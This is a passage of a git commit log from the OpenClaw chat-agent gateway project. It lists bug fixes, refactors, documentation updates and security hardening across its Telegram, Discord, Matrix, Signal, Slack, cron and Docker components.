Fix: check for the literal "*" entry before the per-origin comparison
and return ok:true immediately when found.

Closes #30990
2026-03-02 03:30:20 +00:00
Peter Steinberger
08f8aea32e fix(signal): land #31138 syncMessage presence filtering (@Sid-Qin)
Landed from contributor PR #31138 by @Sid-Qin.

Co-authored-by: Sid-Qin <sidqin0410@gmail.com>
2026-03-02 03:28:25 +00:00
Peter Steinberger
22666034a0 docs(changelog): credit feishu fix contributors 2026-03-02 03:24:21 +00:00
Vincent Koc
1a42ea3abf fix(auto-reply): normalize block-reply callback to Promise for timeout path (#31200)
* Auto-reply: wrap block reply callback in Promise.resolve for timeout safety

* Build: add strict smoke build script for CI regression gating

* CI: gate strict TS smoke build in check workflow

* docs(changelog): add auto-reply block reply timeout fix under Unreleased

* docs(changelog): credit original #19779 contributor and vincentkoc
2026-03-01 19:23:38 -08:00
Vincent Koc
030565b18c Docker: add OCI base-image labels and document base-image metadata (#31196)
* Docker: add OCI base image labels

* Docs(Docker): document base image metadata context

* Changelog: note Docker base annotation docs update

* Changelog: add author credit for Docker base annotations

* Update docker.md

* Docker: add OCI source and docs labels

* CI(Docker): publish OCI revision/version labels

* Docs(Docker): list OCI image annotations

* Changelog: expand OCI annotation coverage note

* Docker: set OCI license annotation to MIT

* Docs(Docker): align OCI license annotation to MIT

* Docker: note docs sync path for OCI annotations

* Docker: normalize OCI label block indentation
2026-03-01 19:22:44 -08:00
Peter Steinberger
6ea3a47dae fix(feishu): harden routing, parsing, and media delivery 2026-03-02 03:22:07 +00:00
Peter Steinberger
cdbed3c9b1 fix(googlechat): land #30965 thread reply option support (@novan)
Landed from contributor PR #30965 by @novan.

Co-authored-by: novan <novan@users.noreply.github.com>
2026-03-02 03:16:48 +00:00
Peter Steinberger
355b4c62bc fix(mattermost): land #30891 route private channels as group (@BlueBirdBack)
Landed from contributor PR #30891 by @BlueBirdBack.

Co-authored-by: BlueBirdBack <BlueBirdBack@users.noreply.github.com>
2026-03-02 03:14:17 +00:00
Peter Steinberger
6bea38b21f fix(models): land #31202 normalize custom provider keys (@stakeswky)
Landed from contributor PR #31202 by @stakeswky.

Co-authored-by: stakeswky <stakeswky@users.noreply.github.com>
2026-03-02 03:11:55 +00:00
Peter Steinberger
342bf4838e fix(cli): preserve json stdout while keeping doctor migration (#24368) (thanks @altaywtf) 2026-03-02 03:10:02 +00:00
Altay
67b98139b9 test(cli): avoid brittle mock call indexing in json-mode checks 2026-03-02 03:10:02 +00:00
Altay
9e4a366ee6 fix(cli): keep json preflight stdout machine-readable 2026-03-02 03:10:02 +00:00
Peter Steinberger
493ebb915b refactor: simplify telegram delivery and outbound session resolver flow 2026-03-02 03:09:40 +00:00
Peter Steinberger
166ae8f002 fix(matrix): land #31201 preserve room ID casing (@williamos-dev)
Landed from contributor PR #31201 by @williamos-dev.

Co-authored-by: williamos-dev <williamos-dev@users.noreply.github.com>
2026-03-02 03:09:23 +00:00
Peter Steinberger
efd303dbc4 fix: normalize Discord wildcard sentinel parsing (#29459) (thanks @Sid-Qin) 2026-03-02 03:08:32 +00:00
SidQin-cyber
6210d2e238 fix(discord): prevent wildcard component registration collisions
Assign distinct sentinel registration ids to Discord wildcard handlers while preserving wildcard parser keys, so select/menu/modal handlers no longer get dropped on runtimes that dedupe by raw customId.
2026-03-02 03:08:32 +00:00
Peter Steinberger
c869ca4bbf fix: harden discord agent cid parsing (#29013) (thanks @Jacky1n7) 2026-03-02 03:07:48 +00:00
李肖然
c14c17403e style: oxfmt for agent-components 2026-03-02 03:07:48 +00:00
李肖然
e95f96f77a fix(discord): guard cid decode to avoid URIError 2026-03-02 03:07:48 +00:00
李肖然
9aba8422ca fix(discord): accept cid in agent component interactions 2026-03-02 03:07:48 +00:00
Peter Steinberger
25b731c34a fix: harden discord media fallback regressions (#28906) (thanks @Sid-Qin) 2026-03-02 03:05:12 +00:00
SidQin-cyber
0a67033fe3 fix(discord): keep attachment metadata when media fetch is blocked
Preserve inbound attachment/sticker metadata in Discord message context when media download fails (for example due to SSRF blocking), so agents still see file references instead of silent drops.

Closes #28816
2026-03-02 03:05:12 +00:00
Peter Steinberger
e4e5d9c98c fix(model): land #30932 auth-profile @ parsing for /model (@haosenwang1018)
Landed from contributor PR #30932 by @haosenwang1018.

Co-authored-by: haosenwang1018 <haosenwang1018@users.noreply.github.com>
2026-03-02 03:05:03 +00:00
Peter Steinberger
15c1c93a95 docs: add missing changelog entry for #31064 2026-03-02 03:04:10 +00:00
Hyup
9c03f8be08 telegram: retry media fetch with IPv4 fallback on connect errors (#30554)
* telegram: retry fetch once with IPv4 fallback on connect errors

* test(telegram): format fetch fallback test

* style(telegram): apply oxfmt for fetch test

* fix(telegram): retry ipv4 fallback per request

* test: harden telegram ipv4 fallback coverage (#30554)

---------

Co-authored-by: root <root@vultr.guest>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 03:00:33 +00:00
Peter Steinberger
31c4722e90 docs: credit telegram empty-final regression coverage (#30746) 2026-03-02 02:59:08 +00:00
Rylen Anil
48d369749c fix(telegram): skip null/undefined final text payloads 2026-03-02 02:59:08 +00:00
liuxiaopai-ai
e6e3a7b497 fix(telegram): retry DM thread sends without message_thread_id [AI-assisted] 2026-03-02 02:58:15 +00:00
Peter Steinberger
ef9085927b test: cover voice fallback first-chunk reply behavior (#31077) 2026-03-02 02:57:10 +00:00
scoootscooob
2a381e6d7b fix(telegram): replyToMode 'first' now only applies reply-to to first chunk
The `replyToMessageIdForPayload` was computed once outside the chunk
and media loops, so all chunks received the same reply-to ID even when
replyToMode was set to "first". This replaces the static binding with
a lazy `resolveReplyTo()` function that checks `hasReplied` at each
send site, and updates `hasReplied` immediately after the first
successful send.

Fixes #31039

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 02:57:10 +00:00
Brian Le
f64d25bd3e fix(telegram): scope DM topic thread keys by chat id (#31064)
* fix(telegram): scope DM topic thread keys by chat id

* test(telegram): update dm topic session-key expectation

* fix(telegram): parse scoped dm thread ids in outbound recovery

* chore(telegram): format accounts config merge block

* test(nodes): simplify mocked exports for ts tuple spreads
2026-03-02 02:54:45 +00:00
Tak Hoffman
bbab94c1fe security(feishu): bind doc create grants to trusted requester context (#31184)
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 20:51:45 -06:00
不做了睡大觉
e482da6682 fix(ollama): prioritize provider baseUrl for embedded runner (#30964)
* fix(ollama): honor provider baseUrl in embedded runner

* Embedded Ollama: clarify provider baseUrl precedence comment

* Changelog: note embedded Ollama baseUrl precedence fix

* Telegram: apply required formatter update in accounts config merge

* Revert "Telegram: apply required formatter update in accounts config merge"

This reverts commit d372b26975.

* Update CHANGELOG.md

---------

Co-authored-by: User <user@example.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 18:38:42 -08:00
Gustavo Madeira Santana
fd341d0d3f docs(changelog): add diffs entry 2026-03-01 21:36:42 -05:00
Peter Steinberger
b0c7f1ebe2 fix: harden sessions_spawn delivery params and telegram account routing (#31000, #31110) 2026-03-02 02:35:48 +00:00
Peter Steinberger
684ac44b71 fix(ui): land #31133 cron edit form viewport scrolling (@Sid-Qin)
Landed from contributor PR #31133 by @Sid-Qin.

Co-authored-by: Sid-Qin <Sid-Qin@users.noreply.github.com>
2026-03-02 02:34:43 +00:00
Peter Steinberger
8eac33d4e0 fix(ui): land #30978 debug event log full-width payloads (@stozo04)
Landed from contributor PR #30978 by @stozo04.

Co-authored-by: stozo04 <stozo04@users.noreply.github.com>
2026-03-02 02:32:18 +00:00
Vincent Koc
601d1ccd24 Docs(Docker): clarify official GHCR image usage and setup flow (#31180)
* Add pre built images to docker docs

* Docs(Docker): clarify official GHCR image guidance

* Changelog: document Docker docs image clarification

* Update CHANGELOG.md

---------

Co-authored-by: Ken <ken@ipl31.net>
2026-03-01 18:31:20 -08:00
Peter Steinberger
5850045df6 fix(cron): land #31145 explicit delivery none in editor (@byungsker)
Landed from contributor PR #31145 by @byungsker.

Co-authored-by: byungsker <byungsker@users.noreply.github.com>
2026-03-02 02:29:42 +00:00
Peter Steinberger
1da7906a5d fix(line): land #31151 M4A voice MIME detection (@scoootscooob)
Landed from contributor PR #31151 by @scoootscooob.

Co-authored-by: scoootscooob <scoootscooob@users.noreply.github.com>
2026-03-02 02:26:41 +00:00
Peter Steinberger
a1a8ec6870 fix(windows): land #31147 plugin install spawn EINVAL (@codertony)
Landed from contributor PR #31147 by @codertony.

Co-authored-by: codertony <codertony@users.noreply.github.com>
2026-03-02 02:23:53 +00:00
Peter Steinberger
00d2df46c7 docs(changelog): note security audit and slack download scope hardening 2026-03-02 02:23:43 +00:00
Peter Steinberger
40fda40aa7 fix(slack): scope download-file to channel and thread context 2026-03-02 02:23:22 +00:00
Peter Steinberger
17bae93680 fix(security): warn on wildcard control-ui origins and feishu owner grants 2026-03-02 02:23:22 +00:00
Peter Steinberger
cc0806dfab docs(discord): standardize eventQueue timeout guidance 2026-03-02 02:22:59 +00:00
Peter Steinberger
4f8c49e85b docs: backfill telegram changelog credits for merged PRs 2026-03-02 02:14:14 +00:00
Jose E Velez
0c8fa63b93 feat: lightweight bootstrap context mode for heartbeat/cron runs (openclaw#26064) thanks @jose-velez
Verified:
- pnpm build
- pnpm check (fails on pre-existing unrelated repo issues in extensions/diffs and src/agents/tools/nodes-tool.test.ts)
- pnpm vitest run src/agents/bootstrap-files.test.ts src/infra/heartbeat-runner.model-override.test.ts src/cli/cron-cli.test.ts
- pnpm test:macmini (fails on pre-existing extensions/diffs import errors; touched suites pass)

Co-authored-by: jose-velez <10926182+jose-velez@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 20:13:24 -06:00
Peter Steinberger
0a182bb4d1 docs(changelog): add entries for recent landed Discord PRs 2026-03-02 02:11:21 +00:00
liuxiaopai-ai
042d06a19b Telegram: stop bot on polling teardown 2026-03-02 02:09:52 +00:00
Phineas1500
666a4763ee Telegram: preserve proxy-aware global dispatcher 2026-03-02 02:09:49 +00:00
Peter Steinberger
b3990ad58a fix: add changelog for #8805 (thanks @Arthur742Ramos) 2026-03-02 02:09:40 +00:00
Arthur Freitas Ramos
2dcd2f9094 fix: refresh Copilot token before expiry and retry on auth errors
GitHub Copilot API tokens expire after ~30 minutes. When OpenClaw spawns
a long-running subagent using Copilot as the provider, the token would
expire mid-session with no recovery mechanism, causing 401 auth errors.

This commit adds:
- Periodic token refresh scheduled 5 minutes before expiry
- Auth error detection with automatic token refresh and single retry
- Proper timer cleanup on session shutdown to prevent leaks

The implementation uses a per-attempt retry flag to ensure each auth
error can trigger one refresh+retry cycle without creating infinite
retry loops.

🤖 AI-assisted: This fix was developed with GitHub Copilot CLI assistance.
Testing: Fully tested with 3 new unit tests covering auth retry, retry
reset, and timer cleanup scenarios. All 11 auth rotation tests pass.
2026-03-02 02:09:40 +00:00
Peter Steinberger
e54ddf6161 fix: add changelog for #19077 (thanks @ayanesakura) 2026-03-02 02:08:27 +00:00
Ayane
5b562e96cb test: add missing ENETRESET test case 2026-03-02 02:08:27 +00:00
Ayane
76ed274aad fix(agents): trigger model failover on connection-refused and network-unreachable errors
Previously, only ETIMEDOUT / ESOCKETTIMEDOUT / ECONNRESET / ECONNABORTED
were recognised as failover-worthy network errors. Connection-level
failures such as ECONNREFUSED (server down), ENETUNREACH / EHOSTUNREACH
(network disconnected), ENETRESET, and EAI_AGAIN (DNS failure) were
treated as unknown errors and did not advance the fallback chain.

This is particularly impactful when a local fallback model (e.g. Ollama)
is configured: if the remote provider is unreachable due to a network
outage, the gateway should fall back to the local model instead of
returning an error to the user.

Add the missing error codes to resolveFailoverReasonFromError() and
corresponding e2e tests.

Closes #18868
2026-03-02 02:08:27 +00:00
YUJIE2002
3b2ed8fe6f fix(telegram): prevent channel-level groups from leaking to all accounts in multi-account setups
In multi-account Telegram configurations, `mergeTelegramAccountConfig()`
performs a shallow merge of channel-level config onto each account. This
causes channel-level `groups` to be inherited by ALL accounts, including
those whose bots are not members of the configured groups.

When a secondary bot attempts to handle group messages for a group it is
not in, the failure disrupts message delivery for all accounts — causing
silent message loss with no errors in logs.

Fix: exclude `groups` from the base spread (like `accounts` already is)
and only apply channel-level groups as fallback in single-account setups
for backward compatibility. Multi-account setups must use account-level
groups config.

Added 5 test cases covering single-account inheritance, multi-account
isolation, account-level priority, and backward compatibility.

Fixes #30673
2026-03-02 02:08:11 +00:00
openperf
8247c25a32 fix(telegram): check chat allowlist before sender allowlist in group policy
When groupPolicy is "allowlist", the sender allowlist empty-entries
guard ran before the chat-level allowlist check. This caused groups
that were explicitly configured in the groups config to be silently
rejected when no allowFrom / groupAllowFrom entries existed.

Move the checkChatAllowlist block before the sender allowlist guard
and introduce a chatExplicitlyAllowed flag that distinguishes a
dedicated group entry (groupConfig is set) from a wildcard-only
match. When the chat is explicitly allowed and no sender entries
exist, skip the sender check entirely — the group ID itself acts
as the authorization.

Fixes #30613.
2026-03-02 02:08:09 +00:00
SidQin-cyber
60f8e832e0 fix(telegram): handle sendVoice caption-too-long by resending without caption
When TTS text exceeds Telegram's 1024-char caption limit, sendVoice
throws "message caption is too long" and the entire reply (voice +
text) is lost. Now catch this specific error, resend the voice note
without caption, then deliver the full text as a separate message.

Closes #30980

Made-with: Cursor
2026-03-02 02:07:57 +00:00
Glucksberg
a262a3ea08 fix(docker): ensure agent directory permissions in docker-setup.sh (#28841)
* fix(docker): ensure agent directory permissions in docker-setup.sh

* fix(docker): restrict chown to config-dir mount, not workspace

The previous 'chown -R node:node /home/node/.openclaw' call crossed into
the workspace bind mount on Linux hosts, recursively rewriting ownership
of all user project files in the workspace directory.

Fix: use 'find -xdev' to restrict chown to the config-dir filesystem
only (won't cross bind-mount boundaries). Then separately chown only
the OpenClaw metadata subdirectory (.openclaw/) within the workspace,
leaving the user's project files untouched.

Addresses review comment on PR #28841.
2026-03-01 18:07:34 -08:00
Glucksberg
a25a73e707 discord: expose EventQueue listenerTimeout as configurable option (fixes #24458) 2026-03-02 02:06:24 +00:00
dhananjai1729
8629b996a1 fix(discord): restrict token fallback to transport/timeout errors only
Address review feedback: only fall back to token-based ID extraction
on transport/timeout errors (catch block), not on HTTP auth failures
(401/403) which should fail fast to surface credential issues early.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 02:05:48 +00:00
dhananjai1729
3efd190aca test(discord): add unit tests for parseApplicationIdFromToken
Cover valid tokens, large snowflake IDs exceeding MAX_SAFE_INTEGER,
Bot-prefixed tokens, and various invalid/edge-case inputs.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 02:05:48 +00:00
dhananjai1729
4b2e35ab95 fix(discord): add token-based fallback for application ID resolution
When the Discord API call to /oauth2/applications/@me fails (timeout,
network error), the bot fails to start with "Failed to resolve Discord
application id". Add a fallback that extracts the application ID by
base64-decoding the first segment of the bot token, keeping it as a
string to avoid precision loss for snowflake IDs exceeding
Number.MAX_SAFE_INTEGER (2^53 - 1).

Fixes #29608

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 02:05:48 +00:00
Pushkar Kathayat
7f4d1b7531 fix(discord): support applied_tags parameter for forum thread creation
Forum channels that require tags fail with "A tag is required" when
creating threads because there was no way to pass tag IDs. Add
appliedTags parameter to the thread-create action so forum posts can
include required tags from the channel's available_tags list.
2026-03-02 02:05:11 +00:00
Ash (Bug Lab)
5b64b96c6c fix(discord): add ackReactionScope channel override + off/none values (#28268) 2026-03-02 02:04:39 +00:00
haosenwang1018
60330e011b fix(discord): log ignored messages from non-allowlisted channels
Closes #30676

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 02:03:44 +00:00
zerone0x
a5f0a9240f fix(cron): retry rename on EBUSY and fall back to copyFile on Windows
Landed from contributor PR #16932 with additional changelog alignment and verification.
2026-03-01 20:02:24 -06:00
FlamesCN
aaa7de45fa fix(cron): prevent armTimer tight loop when job has stuck runningAtMs (openclaw#29853) thanks @FlamesCN
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: FlamesCN <12966659+FlamesCN@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 19:58:58 -06:00
Peter Steinberger
ffe1937b92 fix(cli): set cron run exit code from run outcome (land #31121 by @Sid-Qin)
Landed-from: #31121
Contributor: @Sid-Qin
Co-authored-by: Sid <sidqin0410@gmail.com>
2026-03-02 01:58:39 +00:00
Mark L
9670ccfc41 Control UI/Cron: persist delivery mode none on edit (openclaw#31114) thanks @liuxiaopai-ai
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 19:58:13 -06:00
C. Liao
313a655d13 fix(cron): reject sessionTarget "main" for non-default agents at creation time (openclaw#30217) thanks @liaosvcaf
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: liaosvcaf <51533973+liaosvcaf@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 19:54:53 -06:00
Peter Steinberger
e70fc5eb62 fix(nodes): cap screen_record duration to 5 minutes (land #31106 by @BlueBirdBack)
Landed-from: #31106
Contributor: @BlueBirdBack
Co-authored-by: BlueBirdBack <126304167+BlueBirdBack@users.noreply.github.com>
2026-03-02 01:53:20 +00:00
charo
757e09fe43 fix(cron): recover flat patch params for update action and fix schema (openclaw#23221) thanks @charojo
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: charojo <4084797+charojo@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 19:50:51 -06:00
Peter Steinberger
a779c2ca6a fix(telegram): skip nullish final text sends (land #30969 by @haosenwang1018)
Landed-from: #30969
Contributor: @haosenwang1018
Co-authored-by: Sense_wang <167664334+haosenwang1018@users.noreply.github.com>
2026-03-02 01:50:25 +00:00
Peter Steinberger
dba039f016 fix(doctor): use posix path semantics for linux sd detection 2026-03-02 01:48:14 +00:00
Peter Steinberger
70ee256ae0 fix(routing): treat group/channel peer.kind as equivalent (land #31135 by @Sid-Qin)
Landed-from: #31135
Contributor: @Sid-Qin
Co-authored-by: Sid <sidqin0410@gmail.com>
2026-03-02 01:47:02 +00:00
Mark L
e076665e5e test(cron): add Asia/Shanghai year-regression coverage [AI-assisted] (openclaw#30565) thanks @liuxiaopai-ai
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 19:46:06 -06:00
Peter Steinberger
65e13c7b6e fix(fs): honor unset tools.fs.workspaceOnly default (land #31128 by @SaucePackets)
Landed-from: #31128
Contributor: @SaucePackets
Co-authored-by: SaucePackets <33006469+SaucePackets@users.noreply.github.com>
2026-03-02 01:43:50 +00:00
Mark L
f1354869bd Node install: persist gateway token in service env (#31122)
* Node daemon: persist gateway token env

* changelog: add credits for node gateway token fix

* changelog: credit byungsker for node token service fix

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 17:35:24 -08:00
StingNing
ca770622b3 Cron: fix 1/3 timeout on fresh isolated CLI runs (openclaw#30140) thanks @ningding97
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: ningding97 <17723822+ningding97@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 19:34:18 -06:00
Peter Steinberger
949200d7cb test(browser): fix windows download tmp path assertions 2026-03-02 01:32:28 +00:00
Peter Steinberger
68a8a98ab7 fix(acpx): default strict windows wrapper policy on windows 2026-03-02 01:31:32 +00:00
Peter Steinberger
f8459ef46c docs(security): document sessions_spawn sandbox=require hardening 2026-03-02 01:29:19 +00:00
Peter Steinberger
f53ea0b74b docs(changelog): add entries for PRs #31090 #31105 #31093 #31088 2026-03-02 01:28:58 +00:00
Beer van der Drift
feefedfb83 fix: allow docker cli container to connect to gateway (#12504)
* Docker: route CLI through gateway network namespace

* Tests: assert Docker Compose CLI namespace wiring

* Changelog: add Docker Compose CLI connectivity fix

* Docker: pin docker setup gateway mode and bind

* Tests: cover docker setup mode and bind sync

* Docs: clarify Docker LAN vs loopback gateway targeting

* Changelog: expand Docker #12504 targeting note

* Docker: default optional CLAUDE compose vars to empty

* Docs(Docker): document non-interactive compose runs

* Changelog: note docker compose env-noise reduction

* Docker: restore onboarding Tailscale guidance

* Docker: simplify onboarding output and clarify Tailscale

* Docker: harden shared-namespace CLI container

* Docs(Docker): document shared-namespace trust boundary

* Changelog: note docker shared-namespace hardening

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 17:28:35 -08:00
Peter Steinberger
710004e011 fix(security): harden root-scoped writes against symlink races 2026-03-02 01:27:46 +00:00
Peter Steinberger
bfeadb80b6 feat(agents): add sessions_spawn sandbox require mode 2026-03-02 01:27:34 +00:00
Peter Steinberger
a6a742f3d0 fix(auto-reply): land #31080 from @scoootscooob
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-02 01:17:42 +00:00
Peter Steinberger
e7cd4bf1bd refactor(web): split trusted and strict web tool fetch paths 2026-03-02 01:14:06 +00:00
Vincent Koc
e07c51b045 CLI: avoid plugin preload for health --json route (#31108)
* CLI routes: skip plugin preload for health --json

* CLI routes tests: cover health --json plugin preload
2026-03-01 17:13:58 -08:00
Peter Steinberger
155118751f refactor!: remove versioned system-run approval contract 2026-03-02 01:12:53 +00:00
Frank Yang
1636f7ff5f fix(gateway): support wildcard in controlUi.allowedOrigins for remote access (#31088)
* fix(gateway): support wildcard in controlUi.allowedOrigins for remote access

* build: regenerate host env security policy swift

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 01:11:24 +00:00
Shawn
654f63e8f8 fix(signal): prevent sentTranscript sync messages from bypassing loop protection (#31093)
* fix(signal): prevent sentTranscript sync messages from bypassing loop protection

Issue: #31084

On daemon restart, sentTranscript sync messages could bypass loop protection
because the syncMessage check happened before the sender validation. This
reorganizes the checks to:

1. First resolve the sender (phone or UUID)
2. Check if the message is from our own account (both phone and UUID)
3. Only skip sync messages from other sources after confirming not own account

This ensures that sync messages from the own account are properly filtered
to prevent self-reply loops, while still allowing messages synced from other
devices to be processed.

Added optional accountUuid config field for UUID-based account identification.

* fix(signal): cover UUID-only own-message loop protection

* build: regenerate host env security policy swift

---------

Co-authored-by: Kevin Wang <kevin@example.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 01:11:22 +00:00
Peter Steinberger
b9aa2d436b fix(security): enforce sandbox inheritance for sessions_spawn 2026-03-02 01:11:13 +00:00
不做了睡大觉
6a1eedf10b fix: deliver subagent completion announces to Slack without invalid thread_ts (#31105)
* fix(subagent): avoid invalid Slack thread_ts for bound completion announces

* build: regenerate host env security policy swift

---------

Co-authored-by: User <user@example.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 01:11:08 +00:00
Frank Yang
ed86252aa5 fix: handle CLI session expired errors gracefully instead of crashing gateway (#31090)
* fix: handle CLI session expired errors gracefully

- Add session_expired to FailoverReason type
- Add isCliSessionExpiredErrorMessage to detect expired CLI sessions
- Modify runCliAgent to retry with new session when session expires
- Update agentCommand to clear expired session IDs from session store
- Add proper error handling to prevent gateway crashes on expired sessions

Fixes #30986

* fix: add session_expired to AuthProfileFailureReason and missing log import

* fix: type cli-runner usage field to match EmbeddedPiAgentMeta

* fix: harden CLI session-expiry recovery handling

* build: regenerate host env security policy swift

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-02 01:11:05 +00:00
Peter Steinberger
a95c8077e8 test(discord): type gateway stop mock params 2026-03-02 01:10:03 +00:00
Peter Steinberger
81ca309ee6 fix(agents): land #31002 from @yfge
Co-authored-by: yfge <geyunfei@gmail.com>
2026-03-02 01:08:58 +00:00
Peter Steinberger
250f9e15f5 fix(agents): land #31007 from @HOYALIM
Co-authored-by: Ho Lim <subhoya@gmail.com>
2026-03-02 01:06:00 +00:00
Peter Steinberger
085c23ce5a fix(security): block private-network web_search citation redirects 2026-03-02 01:05:20 +00:00
Peter Steinberger
e1a9ba8400 docs(changelog): credit GHSA-6f6j reporter 2026-03-02 01:04:27 +00:00
Peter Steinberger
c823a85302 fix: harden sandbox media reads against TOCTOU escapes 2026-03-02 01:04:01 +00:00
Peter Steinberger
4320cde91d fix(slack): land #31028 from @taw0002
Co-authored-by: taw0002 <webmaster@sodsolutions.com>
2026-03-02 01:03:39 +00:00
Peter Steinberger
da80e22d89 fix(tools): land #31015 from @haosenwang1018
Co-authored-by: haosenwang1018 <1293965075@qq.com>
2026-03-02 01:01:02 +00:00
Vincent Koc
ac3e1e769b chore(format): swiftformat host env and exec approvals (#31115) 2026-03-01 17:00:17 -08:00
Shakker
81d600d55e fix(protocol): regenerate swift gateway models for internalEvents 2026-03-02 00:55:35 +00:00
Peter Steinberger
c80f34f0e0 test(discord): type gateway stop mock params 2026-03-02 00:49:27 +00:00
Shakker
4274374297 Tests: type Discord gateway lifecycle wait mock 2026-03-02 00:44:34 +00:00
Peter Steinberger
cef5fae0a2 refactor(gateway): dedupe origin seeding and plugin route auth matching 2026-03-02 00:42:22 +00:00
Benedikt Johannes
b81e1b902d Fixes minor security vulnerability (#30948) (#30951)
Merged via squash.

Prepared head SHA: cfbe5fe830
Co-authored-by: benediktjohannes <253604130+benediktjohannes@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-02 00:38:01 +00:00
Peter Steinberger
dc816b84ea refactor(matrix): unify startup + split monitor config flow 2026-03-02 00:37:09 +00:00
Vincent Koc
f696b64b51 Doctor: warn when Linux state dir is on SD/eMMC mounts (#31033)
* Doctor state: warn on Linux SD or eMMC state mounts

* Doctor tests: cover Linux SD or eMMC state mount detection

* Docs doctor: document Linux SD or eMMC state warning

* Changelog: add Linux SD or eMMC doctor warning

* Update CHANGELOG.md

* Doctor: escape mountinfo control chars in SD warning

* Doctor tests: cover escaped mountinfo control chars
2026-03-01 16:36:01 -08:00
Peter Steinberger
412eabc42b fix(session): retire stale dm main route after dmScope migration (#31010) 2026-03-02 00:33:54 +00:00
Peter Steinberger
68832f203e refactor(diagnostics): hot-reload stuck warning threshold 2026-03-02 00:32:33 +00:00
Peter Steinberger
fbd832d64f refactor(config): share byte-size parsing for memory flush 2026-03-02 00:32:33 +00:00
Peter Steinberger
9e727893ff refactor(session): consolidate transcript snapshot reads 2026-03-02 00:32:33 +00:00
Peter Steinberger
3a68c56264 refactor(security): unify webhook guardrails across channels 2026-03-02 00:31:42 +00:00
Peter Steinberger
58659b931b fix(gateway): enforce owner boundary for agent runs 2026-03-02 00:27:44 +00:00
Peter Steinberger
9005e8bc0a refactor(gateway): unify metadata canonicalization + platform rules 2026-03-02 00:26:36 +00:00
Peter Steinberger
0c0f556927 fix(discord): unify reconnect watchdog and land #31025/#30530
Landed follow-up intent from contributor PR #31025 (@theotarr) and PR #30530 (@liuxiaopai-ai).

Co-authored-by: theotarr <theotarr@users.noreply.github.com>
Co-authored-by: liuxiaopai-ai <liuxiaopai-ai@users.noreply.github.com>
2026-03-02 00:24:15 +00:00
Peter Steinberger
0eac494db7 fix(gateway): harden node metadata policy classification 2026-03-02 00:15:34 +00:00
Peter Steinberger
84d0a794ec fix: harden matrix startup errors + add regressions (#31023) (thanks @efe-arv) 2026-03-02 00:15:10 +00:00
efe-arv
235ed71e94 fix: handle late client.start() failures via single catch handler
The .catch() handler now covers both early and late failures:
- Within 2s: sets settled=true, startup throws to caller
- After 2s: sets params.state.started=false so subsequent
  resolveSharedMatrixClient() calls detect the dead client

Removed redundant second .catch() — single handler covers all cases.
2026-03-02 00:15:10 +00:00
efe-arv
4f9daf9821 fix: propagate client.start() errors to caller instead of swallowing
Codex review feedback: ensureSharedClientStarted now throws the error
from client.start() if it rejects during the 2s grace window, so
resolveSharedMatrixClient() properly reports failure (e.g. bad token,
unreachable homeserver) instead of leaving the provider in a
running-but-not-syncing state.
2026-03-02 00:15:10 +00:00
efe-arv
8884f99c92 fix: address review feedback — handle start failure, remove placeholder URL
- Don't mark client as started if client.start() errors during init
- Remove placeholder issue URL from comment
2026-03-02 00:15:10 +00:00
efe-arv
f66f563c1a fix(matrix): fix multiple Conduit compatibility issues preventing message delivery
## Changes

### 1. Fix client.start() hanging forever (shared.ts)
The bot-sdk's `client.start()` returns a promise that never resolves
(infinite sync loop). The plugin awaited it, blocking the entire provider
startup — `logged in as` never printed, no messages were processed.

Fix: fire-and-forget with error handler + 2s initialization delay.

### 2. Fix DM false positive for 2-member rooms (direct.ts)
`memberCount === 2` heuristic misclassified explicitly configured group
rooms as DMs when only bot + one user were joined. Messages were routed
through DM policy and silently dropped.

Fix: remove member count heuristic; only trust `m.direct` account data
and `is_direct` room state flag.

Ref: #20145

### 3. Prevent duplicate event listener registration (events.ts)
When both bundled channel plugin and extension load, listeners were
registered twice on the same shared client, causing inconsistent state.

Fix: WeakSet guard to skip registration if client already has listeners.

Ref: #18330

### 4. Add startup grace period (index.ts)
`startupGraceMs = 0` dropped messages timestamped during async setup.
Especially problematic with Conduit which retries on `M_NOT_FOUND`
during filter creation.

Fix: 5-second grace period.

### 5. Fix room ID case sensitivity with Conduit (index.ts)
